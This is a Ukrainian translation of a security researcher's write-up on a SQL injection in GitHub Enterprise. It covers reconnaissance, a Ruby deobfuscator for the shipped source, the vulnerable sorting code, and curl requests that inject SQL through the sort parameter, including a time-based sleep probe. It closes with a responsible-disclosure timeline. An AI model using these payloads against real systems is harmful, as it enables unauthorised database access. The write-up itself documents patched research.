SQL ін'єкція в GitHub Enterprise



Привіт Хабр,

Нижче розповідь автора Orange Tsai про те, як він цілеспрямовано шукав уразливість в корпоративній версії GitHub і в підсумку виявив можливість SQL ін'єкції. Тут, на хабре, раніше вже публікувався інший переклад його статті "Як я зламав Facebook і виявив чужий бекдор".

Перед початком
GitHub Enterprise це корпоративна версія GitHub.com для розгортання платформи GitHub у приватній мережі для розробки. Зайшовши на enterprise.github.com можна завантажити віртуальну машину (VM) з безкоштовним пробним періодом в 45 днів.

Після установки ми побачимо:





Тепер, у моїй VM є повна екосистема GitHub. Це так цікаво, що мені захотілося поглянути на VM ближче :P.

Оточення
Початком всього і вся є сканування портів. Після виклику корисної утиліти Nmap, можна побачити що в VM відкриті 6 портів.

$ nmap -sT -vv -p 1-65535 192.168.187.145
...
PORT STATE SERVICE
22/tcp open ssh
25/tcp closed smtp
80/tcp http open
122/tcp open smakynet
443/tcp open https
8080/tcp closed http-proxy
8443/tcp open https-alt
9418/tcp open git

Після деякого аналізу сервісів, можна сказати, що:
  • 22/tcp та 9418/tcp схожі на haproxy і перенаправляють підключення в сервіс бекенду babeld.
  • 80/tcp та 443/tcp це основні служби GitHub.
  • 122/tcp — служба SSH.
  • 8443/tcp — консоль управління GitHub.
До речі, консоль управління GitHub вимагає пароль для входу. Якщо є пароль, то можна додати свій ключ SSH і підключитися до VM через 122/tcp.

Використовуючи SSH підключення до VM, ми поглянули на всю систему і по всій видимості кодова база лежить в теці /data/.

# ls -al /data/
total 92
drwxr-xr-x 23 root root 4096 29 Nov 12:54 .
drwxr-xr-x 27 root root 4096 Dec 28 19:18 ..
drwxr-xr-x 4 git git 4096 29 Nov 12:54 alambic
drwxr-xr-x 4 babeld babeld 4096 29 Nov 12:53 babeld
drwxr-xr-x 4 git git 4096 29 Nov 12:54 codeload
drwxr-xr-x 2 root root 4096 29 Nov 12:54 db
drwxr-xr-x 2 root root 4096 29 Nov 12:52 enterprise
drwxr-xr-x 4 enterprise-manage enterprise-manage 4096 29 Nov 12:53 enterprise-manage
drwxr-xr-x 4 git git 4096 29 Nov 12:54 failbotd
drwxr-xr-x 3 root root 4096 29 Nov 12:54 git-hooks
drwxr-xr-x 4 git git 4096 29 Nov 12:53 github
drwxr-xr-x 4 git git 4096 29 Nov 12:54 git-import
drwxr-xr-x 4 git git 4096 29 Nov 12:54 gitmon
drwxr-xr-x 4 git git 4096 29 Nov 12:54 gpgverify
drwxr-xr-x 4 git git 4096 29 Nov 12:54 hookshot
drwxr-xr-x 4 root root 4096 29 Nov 12:54 lariat
drwxr-xr-x 4 root root 4096 29 Nov 12:54 longpoll
drwxr-xr-x 4 git git 4096 29 Nov 12:54 mail-replies
drwxr-xr-x 4 git git 4096 29 Nov 12:54 pages
drwxr-xr-x 4 root root 4096 29 Nov 12:54 pages-lua
drwxr-xr-x 4 git git 4096 29 Nov 12:54 render
lrwxrwxrwx 1 root root 23 Nov 29 12:52 repositories -> /data/user/repositories
drwxr-xr-x 4 git git 4096 29 Nov 12:54 slumlord
drwxr-xr-x 20 root root 4096 Dec 28 19:22 user

Перейдемо в /data/ і спробуємо подивитися на сирці. Здається, вони закодовані :(



GitHub використовує власну бібліотеку для обфускации вихідного коду. Якщо пошукати в Гуглі «ruby_concealer.so», то знайдете доброго людини, що написала сніппет для деобфускации.

Сниппет виходить простою заміною у ruby_concealer.so викликів rb_f_eval rb_f_puts і це працює.

Але не можна називатися хакером, не зрозумівши як саме це працює. Тому відкриємо IDA Pro!





Як можна помітити, тут використовується Zlib::Inflate::inflate для розпаковування і операції XOR з наступним ключем:
This obfuscation is intended to discourage GitHub Enterprise from customers making modifications to the VM. We know this 'encryption' is easily broken.
[переклад] Дана обфускація призначена щоб відбити бажання користувачів GitHub Enterprise вносити зміни в VM. Ми знаємо, що це "кодування" легко ламається. 

Значить можна легко написати свій деобфускатор!
require 'zlib'
key = "This obfuscation is intended to discourage GitHub Enterprise from customers making modifications to the VM. We know this 'encryption' is easily broken. "

def decrypt(s)
i, plaintext = 0, "

Zlib::Inflate.inflate(s).each_byte do |c|
plaintext << (c ^ key[i%key.length].ord).chr
i += 1
end
plaintext
end

content = File.open(ARGV[0], "r").read
content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "
plaintext = eval content

puts plaintext

Аналіз коду
Після деобфускации можна нарешті почати оглядати код.
$ cloc /data/
81267 text files.
47503 unique files.
24550 files ignored.

http://cloc.sourceforge.net v 1.60 T=348.06 s (103.5 files/s, 15548.9 lines/s)
-----------------------------------------------------------------------------------
Language files blank comment code
-----------------------------------------------------------------------------------
Ruby 25854 359545 437125 1838503
Javascript 4351 109994 105296 881416
YAML 600 1349 3214 289039
Python 1108 44862 64025 180400
XML 121 6492 3223 125556
C 444 30903 23966 123938
Bourne Shell 852 14490 16417 87477
HTML 636 24760 2001 82526
C++ 184 8370 8890 79139
C/C++ Header 428 11679 22773 72226
Java 198 6665 14303 45187
CSS 458 4641 3092 44813
Bourne Again Shell 142 6196 9006 35106
m4 21 3259 369 29433
...

$ ./bin/about rake
About your application's environment
Ruby version 2.1.7 (x86_64-linux)
RubyGems version 2.2.5
Rack version 1.6.4
Rails version 3.2.22.4
JavaScript Runtime Node.js (V8)
Active Record version 3.2.22.4
Action Pack version 3.2.22.4
Action Mailer version 3.2.22.4
Active Support version 3.2.22.4
Middleware GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport
Application root /data/github/9fcdcc8
Environment production
Database adapter githubmysql2
Database schema version 20161003225024

Більшість код написаний на Ruby (Ruby on Rails і Sinatra).

  • /data/github/ судячи з усього, і є додаток, що працює з портами 80/tcp, 443/tcp і схоже це та ж кодова база що і на github.com, gist.github.com і api.github.com
  • /data/render/ мабуть кодова база render.githubusercontent.com
  • /data/enterprise-manage/ схоже на додаток, що працює з портом 8443/tcp
Щоб дізнатися, чи програма працює в корпоративному режимі, або ж у GitHub.com, GitHub Enterprise використовує відповідно enterprise? і dotcom?.

Вразливість
У мене пішла, приблизно, один тиждень щоб знайти цю вразливість. Я не знайомий з Ruby, тому вчив на ходу, пробуючи писати на ньому :P

Так, грубо кажучи, пройшла моя тиждень.
  • День 1 — Установка VM
  • День 2 — Установка VM
  • День 3 — Вивчення Rails шляхом аналізу код
  • День 4 — Вивчення Rails шляхом аналізу код
  • День 5 — Вивчення Rails шляхом аналізу код
  • День 6 — А ось я і знайшов SQL ін'єкцію!
SQL ін'єкція була знайдена в моделі PreReceiveHookTarget.

Основна причина цього криється в рядку №45 файлу /data/github/current/app/model/pre_receive_hook_target.rb.

33 scope :sorted_by, -> (order, direction = nil) {
34 direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"
35 select(<<-SQL)
36 #{table_name}.*,
37 CASE hookable_type
38 WHEN 'global' THEN 0
39 WHEN 'User' THEN 1
40 WHEN 'Repository' THEN 2
41 END AS priority
42 SQL
43 .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")
44 .readonly(false)
45 .order([order, direction].join(" "))
46 }

Хоча в Rails є вбудований ORM (званий ActiveRecord), який повинен захищати від SQL ін'єкцій, наївне його використання може таїти загрозу.

Більше прикладів є на Rails-sqli.org. Думаю, корисно знати про SQL-ін'єкціях в Rails.

В даному випадку, якщо нам вдасться змінити параметр методу order, то вийде впровадити шкідливий SQL запит.

Добре, тепер давайте простежимо виклики! sorted_by викликається в рядку №61 файлу /data/github/current/app/api/org_pre_receive_hooks.rb.

10 get "/organizations/:organization_id/pre-receive-hooks" do
11 control_access :list_org_pre_receive_hooks, :org => org = find_org!
12 @documentation_url << "#list-pre-receive-hooks"
13 targets = PreReceiveHookTarget.visible_for_hookable(org)
14 targets = sort(targets).paginate(pagination)
15 GitHub::PrefillAssociations.for_pre_receive_hook_targets targets
16 deliver :pre_receive_org_target_hash, targets
17 end
...
60 def sort(scope)
61 scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc")
62 end

Зверніть увагу, params[:sort] передається у scope.sorted_by. Значить можна здійснити ін'єкцію через params[:sort].

Перед тим як скористатися уразливістю, знадобиться діючий токен access_token з параметром admin:pre_receive_hook щоб звертатися до API. На щастя, його можна отримати за допомогою команди:

$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \
-d '{"scopes":"admin:pre_receive_hook","note":"x"}'
{
"id": 4,
"url": "https://192.168.187.145/api/v3/authorizations/4",
"app": {
"name": "x",
"url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",
"client_id": "00000000000000000000"
},
"token": "????????",
"hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",
"token_last_eight": "1fadac36",
"note": "x",
"note_url": null,
"created_at": "2017-01-05T22:17:32Z",
"updated_at": "2017-01-05T22:17:32Z",
"scopes": [
"admin:pre_receive_hook"
],
"fingerprint": null
}

Після отримання сертифіката, можна скористатися уразливістю так:

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'
[

]

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'
{
"message": "Server Error",
"documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"
}

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user())
{
...
}



Хронологія
  • 26.12.2016 05:48 Повідомлення про уразливості в GitHub через HackerOne.
  • 26.12.2016 08:39 GitHub підтверджує існування проблеми і працює над її усуненням.
  • 26.12.2016 15:48 Повідомлення про деталі уразливості.
  • 28.12.2016 02:44 GitHub відповідає, що уразливість усунуть в наступній версії GitHub Enterprise.
  • 04.01.2017 06:41 GitHub пропонує нагороду в $5000.
  • 05.01.2017 02:37 Питаю чи можна написати про це в блозі.
  • 05.01.2017 03:06 GitHub люб'язно дозволяє розповісти про це.
  • 05.01.2017 07:06 Реліз GitHub Enterprise версії 2.8.5!
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.